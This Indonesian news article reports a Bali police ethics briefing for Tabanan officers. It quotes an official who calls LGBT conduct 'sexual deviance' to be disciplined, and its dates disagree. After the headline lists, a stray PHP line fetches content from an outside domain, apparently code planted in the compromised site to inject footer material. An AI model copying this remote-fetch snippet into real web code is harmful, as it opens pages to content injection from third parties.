Personil Polres Tabanan Ikuti Pembinaan Etika Polda Bali

Kamis, 25 April 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tabanan | jejakkasus.info – Dalam rangka pencegahan perilaku penyimpangan dan pelanggaran anggota polri Kasubbitwabprof Polda Bali melaksanakan pembinaan etika bertempat di Aula Wisnu Hartono Polres Tabanan ,Kamis ( 25/05/2024 )

Pembinaan Etika Polda Bali tersebut dipimpin oleh Kasubbitwabprof Polda Bali AKBP Anak Agung Wirahatiningsih,S.H.,M.H, dengan diikuti Kabag Ops Polres Tabanan, Tim Bin Etika Propam Polda Bali,Kasi Propam Polres Tabanan serta Personil yang Tersprint sebanyak 100 orang.

Diawali dengan dambutan Kabag Ops Polres Tabanan Kompol I Made Subadi, S.H, ,menyampaikan ucapan selamat datang kepada Ketua Tim Bid Propam Polda Bali, saya berharap kepada peserta yang hadir agar serius mengikuti kegiatan pembinaan hari ini mengingat dilapangan Masih banyak anggota yang melakukan pelanggaran.

Baca Juga:  Cegah Aksi Premanisme Unit Patroli Sambangi Lokasi Nongkrong Para Pemuda

Peserta yang hadir agar dapat memahami apa yang disampaikan oleh Tim dari propam Polda Bali dan dapat realisasikan saat melaksanakan tugas dilapangan,”Ucapnya Kabag Ops.

Kasubbitwabprof Polda Bali AKBP Anak Agung Wirahatiningsih,S.H.,M.H.
menyampaikan bibit Propam Polda Bali melakukan pembinaan etika bertujuan untuk mencegah terjadinya pelanggaran dari anggota Polri baik itu pelanggaran disiplin maupun pelanggaran kode etik bahkan mungkin tindak pidana.

Hall tersebut merupakan program dari Mabes Polri karena sebelum tahun masa Pendemi covid yang belum selesai pelanggaran anggota Polri cukup tinggi dengan dilakukannya pembinaan etika pelanggaran untuk anggota Polri ” terang AKBP A.A.Wirahatningsih ,S.H.,M.H
.
Disampaikan juga bahwa menurut jumlahnya tapi kualitasnya semakin meningkat, kenapa kami katakan demikian sebagaimana yang telah diatur di dalam Perpolitikan nomor 7 tahun 2022 yang dulunya anggota Polri tidak ada melakukan pelanggaran kode etik sebagaimana diatur sekarang sudah mulai bermunculan masalah baru salah satunya penyimpanan perilaku seksual yang tidak wajar.

Baca Juga:  HUT Lalu Lintas Ke 67 Di Rayakan di Mapolda Jateng

Namun sekarang berkaitan dengan penyimpangan perilaku seksual ini sudah diatur dengan@ jelas di dalam Perpol no 17 Tahun 2022 salah satu contohnya yaitu LGBT. kegiatan seks menyimpang ini tidak hanya terjadi di Polda Bali melainkan terjadi juga Polda-Polda lain dan banyak sekali personil yang melakukan penyimpangan seksual pangkatnya tidak main-main bukan Bintara saja namun Pamen.

Baca Juga:  Terkait Perkelahian Antar Warga Di Balangan Jimbaran Polda Bali Himbau Masyarakat Tidak Terprovokasi.

” Saya berharap kedepan khusus untuk Polres Tabanan tidak terjadi pelanggaran baik kode etik maupun kriminal” lanjutnya

Lebih dari itu Kasubbitwabprof Polda Bali AKBP Anak Agung Wirahatiningsih,S.H.,M.H.juga memberikan materi terkait Polri dengan kode etik yang dituangkan dalam Perpol No.7 Tahun 2022.

(Hum Polres Tabanan)
Red/am

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>